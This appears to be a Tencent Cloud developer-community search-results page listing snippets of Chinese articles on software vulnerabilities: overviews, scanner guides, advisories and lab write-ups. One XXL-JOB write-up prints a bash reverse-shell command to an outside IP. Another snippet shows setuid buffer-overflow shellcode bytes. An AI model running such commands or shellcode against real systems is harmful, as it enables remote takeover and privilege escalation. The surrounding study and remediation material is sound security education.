- 综合排序
- 最热优先
- 最新优先
- 来自专栏博文视点Broadview
漏洞战争： 软件漏洞发展趋势
◆ ◆ ◆引言 近几年，在电脑上的软件漏洞分析与利用技术已经发展得相当成熟，很多技术也被黑产所利用，但也正因为如此，它极大地推进软件漏洞领域的发展，比如微软在IE上新增了许多安全机制（延迟释放、 当然，在此期间也有不少厂商为炒作漏洞，将危害一般或者低危的漏洞炒作成很严重的漏洞，以混淆视听，笔者就曾多次在安全应急事件中遇到此类情况。 下面，我们将看到未来的软件漏洞可能面临哪些新挑战。 笔者认为未来的软件漏洞领域主要存在以下新挑战，本文将一一介绍。 云计算平台架构 ● SaaS（软件即服务）：为消费者提供应用软件。 ● SaaS层：传统的Web漏洞、软件漏洞都可能会出现，而此层的漏洞风险更大，也是外部最容易触及到的，从目前多数云平台的入侵情况看，Web漏洞导致的直接危害会更多。
2.1K20发布于 2020-06-12 - 来自专栏全栈程序员必看
软件漏洞分析简述
软件漏洞分析技术概述 随着社会经济的发展，互联网也随之迅速的发展，软件已经充斥在我们生活的方方面面，为我们提供便利的同时也带来了安全隐患，因此软件漏洞分析技术的重要性不言而喻。 软件漏洞分析技术主要分为：软件架构安全分析技术、源代码漏洞分析技术、二进制漏洞分析技术和运行系统漏洞分析技术四大类。图2.1说明各技术之间的关系。 图2.1 软件漏洞分析体系 2.1 软件架构安全分析 软件架构是软件的“骨架”，是软件开发生命周期中代码编写的基础。 源代码作为软件的最初原型，其中的安全缺陷可能直接导致软件漏洞分产生，因此源代码漏洞分析显得尤为重要。 图2.6 运行系统漏洞分析原理 2.5 技术总结 软件漏洞分析技术多种多样，需要针对软件的来源，漏洞的类型，分析人员的擅长等因素进行选择。
3.8K20编辑于 2022-09-01 - 来自专栏全栈程序员必看
thinkphp5.0漏洞_thinkphp6漏洞
PDO查询能阻止大多数传参攻击，而且框架要求的php版本是5.4；这就防止了php在5.3.6下有个PDO本地查询造成SQL注入的漏洞。 0x01 漏洞分析和利用场景 该漏洞形成最关键的一点是需要开启debug模式，而Tp官方最新的版本5.0.9默认依旧是开放着调试模式 下载最新版本的5.0.9完整版 本地按照官方给的文档安装成功后， Like 、not like 、in 、not in 0x02 案例分析 笔者这里下载了一套商城系统 ，这个框架也是很听话的用了官方的配置，debug模式开启 下图是可以触发该漏洞的一段代码 Ids ids[0’\]=1 笔者尝试着连接对方的数据库，可惜的是运气不好 0x04漏洞总结 Tp5.0框架采用PDO机制已经很安全了，只要不出现拼接字符的现象，至少在绑定参数查询的时候不会产生注入漏洞；也由此可见 0x05漏洞修复 对于这个$k 可以过滤掉所有的特殊字符，以防特殊字符的引入造成MYSQL的报错；当然最好的办法还是关闭掉debug模式，期待官方升级最新的版本把debug模式默认关闭掉。
2.1K30编辑于 2022-10-02 - 来自专栏世荣的博客
搭建漏洞环境-实战-6
搭建XSS测试平台 XSS测试平台是测试XSS漏洞获取cookie并接受Web页面的平台，XSS可以做JS能做的所有事情，包括但不限于窃取cookie，后台增删改文章，利用XSS漏洞进行传播，修改网页代码
52130编辑于 2022-03-18 - 来自专栏游戏安全攻防
软件常见漏洞的解析
软件漏洞是信息安全系统漏洞的重要组成部分，它通常被认为是软件生命周期中出现的设计错误、编码缺陷和运行故障造成的。 软件漏洞的等级划分： 1、低级漏洞：这里漏洞利用非常困难或影响很小； 2、中等漏洞：这类漏洞由于默认配置、审核或利用难度等因素大大减轻了其影响； 3、重要漏洞：利用此类漏洞可能会危及用户数据的机密性、完整性或可用性 软件漏洞基于成因可分类：内存破坏类漏洞、逻辑错误类漏洞、输入验证类漏洞、设计错误类漏洞、配置错误类漏洞。 缓冲区漏洞 当程序尝试读取或写入超出范围的缓冲区时，会发生缓冲区溢出。 小结 软件漏洞似乎不可避免，但大多数漏洞可以被消除或至少减少，只有通过细致的软件设计，良好的编码,发现漏洞后快速的响应来尽量减少软件漏洞的产生，以及降低漏洞被利用后所带来的危害。 同时为了提高软件的安全性减少漏洞的出现，做好代码审计，并且对软件进行做静态和动态运行时测试代码，以确保软件在发布前能够发现漏洞，解决漏洞。
3.1K50编辑于 2022-12-03 - 来自专栏FreeBuf
软件漏洞分析技巧分享
作者：riusksk【TSRC】 在日常分析软件漏洞时，经常需要耗费比较长的分析时间，少则几小时，多则数天，甚至更久。 CRecordset::put_CacheSize: 6e6ac957 8bff mov edi,edi 0:005> dd esp 01fbeb58 6e62f3ec CRecordset::MoveFirst+0x00000221 6e54fde6 msado15! CWindow::FireTimeOut+0x000000b6 685d6af7 mshtml! 污点追踪犹如“七伤拳”一般，“先伤己，再伤人”，开发污点追踪工具，不仅费时费力，而且开发完成后，运行比较大的工具往往需要运行很长时间，比如IE、Adobe等软件，有时甚至需要整整一天的时间，这种一般是在调试分析不方便的时候才使用的
1.7K90发布于 2018-02-02 - 来自专栏全栈程序员必看
安卓漏洞扫描工具_软件漏洞扫描工具
使用步骤： ---- Acunetix 漏洞扫描工具概括： Acunetix 是一个自动化的 Web 应用程序安全测试工具，是通过检查 SQL 注入，跨站点脚本（XSS）和其他可利用漏洞等来审核您的 免责声明： 严禁利用本文章中所提到的漏洞扫描工具和技术进行非法攻击，否则后果自负，上传者不承担任何责任。 Acunetix 使用步骤： 第一步：添加 需要检测的网站（漏洞扫描.）（这里我扫描的是自己搭建的网站：pikachu） 然后点击是的，进行漏洞扫描. ，报告（填写 报告类型），日程（扫描的时间） 第二步：查看扫描的结果（包含：漏洞信息，网站结构，活动.） 第三步：查看漏洞的信息.（漏洞类型，链接的位置，修复方案等.） 参考链接：Acunetix介绍_「Acunetix Web漏洞扫描中文使用手册」 – 网安 版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。
7.4K20编辑于 2022-09-29 - 来自专栏why技术
火线安全：Log4j2 史诗级漏洞波及全球6万+开源软件
Log4j2 作为基础日志组件被大量基础服务在底层使用，据统计，该漏洞影响6万+流行开源软件，影响70%以上的企业线上业务系统！ 软件在官方发布漏洞修复补丁后依旧被黑客多次绕过，几乎所有的互联网大厂都在通宵加急处理漏洞，避免造成黑客攻击事件，没想到道高一尺魔高一丈，刚修复完又马上被黑客绕过。 近些年，重大威胁漏洞频现： 2014年，心脏滴血漏洞让世界上 2/3的 网站心脏滴血 2017年，永恒之蓝漏洞让数百万台主机面临被勒索病毒攻击的风险 2021年，Log4j2 的漏洞再一次影响了互联网上 01 对开源软件的致命打击 火线安全团队对 Log4j2 及受影响的开源组件进行全面分析后，对该漏洞的危害性感到震惊。 目前我们仍在继续对数据进行整理分析，据不完全统计，在 Github 上，共有60644个开源项目发布的321094软件包存在风险，影响众多主流开源基金会的著名项目。
1.3K10编辑于 2021-12-17 软件架构 6 个方面
所谓 “架构”，就是将软件的结构打好，然后在结构内按部就班的施工就好了。软件架构 6 个方面软件架构涉及六个维度，分别是 “稳定性”、“高性能”、“一致性”、“扩展性”、“观察性” 和 “安全性”。 安全性，开源证书、安全漏洞、基线扫描。总结这个分类的细节随着认知理解的升级，还会有补充和调整，但是整体的结构应该差不多就是这样了。这也印证了 “架构是演化出来的，不是一蹴而就的。”
26710编辑于 2024-03-25- 来自专栏OneMoreThink的专栏
漏洞研究(6)：XXL-JOB调度中心默认口令漏洞
GLUE(Shell IDE) 6. 【编写EXP代码】 1. bash -i >& /dev/tcp/10.58.81.119/1234 0>&1 7. 保存 8. 源码备注 9. 保存 10. 执行一次 6. 保存 4.1.4 查看日志 1. 任务管理 2. 【选择对应执行器】 3. 【选择对应任务】 4. 操作 5. 查询日志 6. 【选择对应日志】 7. 操作 8. 此时使用默认口令登录，提示帐号或密码错误，说明漏洞修复成功。 5.2 代码中修改默认口令 使用32位小写md5值，替换掉默认口令。 source /usr/local/xxl-job-2.2.0/doc/db/tables_xxl_job.sql exit 新部署好XXL-JOB后，使用默认口令登录，提示帐号或密码错误，说明漏洞不存在
2K01编辑于 2025-05-13 - 来自专栏流川疯编写程序的艺术
信息安全学习笔记——软件漏洞
学习使用的书籍：《暗战亮剑——软件漏洞发掘与安全防范实践》 第一章 软件漏洞的分类： 1.缓冲区溢出漏洞 2.整数溢出漏洞 3.格式化字符串漏洞 4.指针覆盖漏洞 5.SQL注入漏洞 6.Bypass 漏洞（绕过漏洞） 7.信息泄漏漏洞 第二章 建立软件漏洞的发掘环境： 很多机器没有IIS，我们可以使用XAMPP来代替，可以从http://download.csdn.net/detail/bubujie 网站上下载，下载安装完成后，将你的网站程序文件放到XAMPP程序的安装目录下的htdocs文件目录下，在浏览器中输入网址“http://127.0.0.1/你网站程序的名字”，就可以访问了 第三章 文字处理软件的漏洞剖析 尽可能详细的阅读软件的使用说明书，了解软件的全部功能，发现软件使用过程中的限制问题。 第四章 远程服务型软件漏洞 明文分析-- WinSock Expert Acunetic Web Vulnerability Scanner 非明文分析—— WireShark FTP安全测试工具——
77430发布于 2019-01-18 - 来自专栏kayden
利用软件的漏洞进行攻击
---- 利用软件的漏洞进行攻击 前言 本篇继续阅读学习《有趣的二进制：软件安全与逆向分析》，本章是利用软件的漏洞进行攻击，简单介绍了缓冲区溢出漏洞的原理和示例，然后给出了一些防御措施，最后介绍了对防御机制的绕过方法 一、利用缓冲区溢出来执行任意代码 1、缓冲区溢出示例 缓冲区溢出（buffer overflow）：最有名的漏洞之一，输入的数据超出了程序规定的内存 范围，数据溢出导致程序发生异常 一个简单例子 #include -l sample 会看到权限变成了“rws”，这表示已经启用了 setuid 此时以普通用户权限运行这个程序时，就会用 root 权限调用 execve 函数 3、通过缓冲区溢出夺取权限示例 一个有漏洞的 sample：会将输入的字符串原原本本地复制到一块只有 64 字节的内存空间中，由于字符串是由用户任意输入的，会有缓存溢出漏洞 #include <stdio.h> #include <string.h xe0\x83\xe8\x10" # 8 s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16 s += "\x2f\x73\x68\x68\x2f\x62\x69\x<em>6</em>e
1.3K10编辑于 2022-09-29 - 来自专栏小生观察室
软件供应链漏洞挖掘
image.png 视频内容 软件供应链漏洞挖掘 1080P超清版 微信公众号平台本身会对素材进行二次压缩，会导致画面出现不清晰等情况。
79100发布于 2021-05-30 - 来自专栏深度学习与python
漫谈软件缺陷与漏洞
软件安全性的衡量标准，是在测试期间和生产部署之后发现的漏洞数量。软件漏洞是一类软件缺陷，潜在的攻击者经常利用这些漏洞，绕过授权，访问计算机系统或执行操作。 了解软件错误和漏洞之间的区别，是为创建安全的软件和及时减少缺陷和漏洞的整体战略的关键。 软件漏洞 现在已公布的漏洞利用行为，以及 OWASP 十大、MITRE 常见漏洞和暴露 (CVE) 列表、美国国家漏洞数据库和其他来源提供的见解都在讲软件漏洞。 而其他组织通过检查软件漏洞来主动评估其“遗留”系统。尽管如此，在代码库被完全修补、升级到最新最安全或被废弃之前，遗留软件都将是漏洞利用方面的沃土。 不断发展的软件攻击向量使得我们不可能在生产部署之前消除所有软件漏洞。尽管如此，软件开发人员还是必须持续学习软件安全开发。也有人正关注于使用机器学习来检测软件漏洞，这将有助于更快、更有效地检测软件漏洞。
94220编辑于 2022-06-11 - 来自专栏啄木鸟软件测试
软件性能测试（连载6）
负载为1表示当前单核CPU全部占用，如果一台机器有3个CPU，每个CPU都是双核的，这是负载最大值为1×2×3=6。
1.1K20发布于 2020-02-19 - 来自专栏API安全
6月API安全漏洞报告
为了让大家的API更加安全，致力于守护数字世界每一次网络调用，小阑给大家整理了6月份的一些API安全漏洞报告，希望大家查漏补缺及时修复自己API可能出现的漏洞。 No.1 MinIO未授权信息泄露漏洞漏洞详情：MinIO是一个开源的对象存储服务，它提供了云存储功能，可用于存储和管理大量数据。 一篇由Security Boulevard提供的漏洞文章，涵盖了Argo CD部署平台中的三个独立的API漏洞。漏洞危害：第一个漏洞（CVE-2023-22736）是一个允许绕过授权的严重漏洞。 Argo CD软件中存在一个漏洞，会使得恶意用户在没有得到授权的情况下，在系统允许范围外部署应用程序。第二个漏洞 （CVE-2023-22482）是由不当授权导致的严重问题。 第三个漏洞（CVE-2023-25163）是Argo CD软件中的一个问题，会导致存储库访问凭据泄露。这个漏洞的严重程度中等，会在未能正确清理输出时，泄露敏感信息。
1.2K10编辑于 2023-06-30 - 来自专栏绿盟科技安全情报
【漏洞通告】微软6月安全更新多个产品高危漏洞通告
版本： 1.0 1 漏洞概述 北京时间6月10日，微软发布6月安全更新补丁，修复了130个安全问题，涉及Microsoft Windows、Internet Explorer、Microsoft Edge 本月微软月度更新修复的漏洞中，严重程度为关键（Critical）的漏洞共有12个，重要（Important）漏洞有118个。 根据产品流行度和漏洞重要性筛选出此次更新中包含影响较大的漏洞，请相关用户重点进行关注： CVE-2020-1206（PoC已公开）：Windows SMBv3 客户端/服务器信息泄漏漏洞 Microsoft 攻击者利用此漏洞可获取到敏感信息。 与SMBv3Ghost有关的内容可参考：https://mp.weixin.qq.com/s/q3dL6YI0K-cFLbNzySabHQ 官方通告链接： https://portal.msrc.microsoft.com
1.4K20发布于 2020-06-15 - 来自专栏网络信息安全
对支付软件的漏洞利用buyflag
对支付软件的漏洞利用 考点 安卓应用的简单逆向、反编译、patch、重打包 对安卓应用的通信流量进行抓取和分析 XXE漏洞及其利用 思路 首先patch掉禁用注册的源码 通过git泄露获得服务端web源码 源码审计 通过xxe漏洞获得key 利用key伪造交易信息给自己充值 step1 获取到apk 首先我拿到了一款支付软件的安装包，我们先在模拟器中安装好这个软件，我们发现这里的注册按钮是无法使用的，如下图 apktool.bat d 文件命.apk 文件名 打包：apktool.bat b 文件名 文件命.apk 签名（必要） if-nez vA, :cond_" 如果vA不等于0则跳转到:cond_ 使用的三个软件都是免费的 ，利用漏洞我们下载源码，一共是4个php页面。 668f4f4db2ac706137639bfc3ca70fe1"; $appid='wx'; $deposit="19999999999"; $nonce_str="1"; $session_id="9ang9ja5l7o7paicmi4j49q6ke
37110编辑于 2024-03-12 SharePoint漏洞被利用传播勒索软件
攻击细节据某机构披露，至少三个疑似与中国关联的黑客组织（Linen Typhoon、Violet Typhoon和Storm-2603）正在利用Microsoft SharePoint公开漏洞实施攻击。 某机构在7月上旬和中旬发布了两轮安全补丁（涉及CVE-2025-49704等漏洞），但未修复的系统仍面临Storm-2603部署的勒索软件威胁。 Storm-2603背景该组织疑似源自中国，曾使用LockBit和Warlock勒索软件。某机构评估其与中国关联的置信度为"中等"。 Warlock勒索软件据安全机构监测，Warlock属于加密勒索软件，2025年6月首次被发现，已感染美、加、德等近20个国家目标。 、外部攻击面管理及Defender XDR订阅） 持续威胁7月以来，SharePoint面临漏洞披露、紧急补丁和勒索软件攻击三重压力。
30310编辑于 2025-08-04- 来自专栏全栈程序员必看
漏洞扫描和渗透性测试_漏洞扫描软件有哪些
目录 1.nessus 2.AWVS 3.WPscan 1.nessus 1.Nessus软件是什么？ 如图，我们可以从百度百科得知：Nessus 是全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件。 点击下载，然后将Nessus-10.0.2-debian6_amd64.deb包复制到kali系统里的root目录下。如图所示。 然后打开终端模拟器，输入dpkg -i Nessus-10.0.2-debian6_amd64.deb 然后回车，安装完成。 AWVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。
4.3K50编辑于 2022-09-30
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号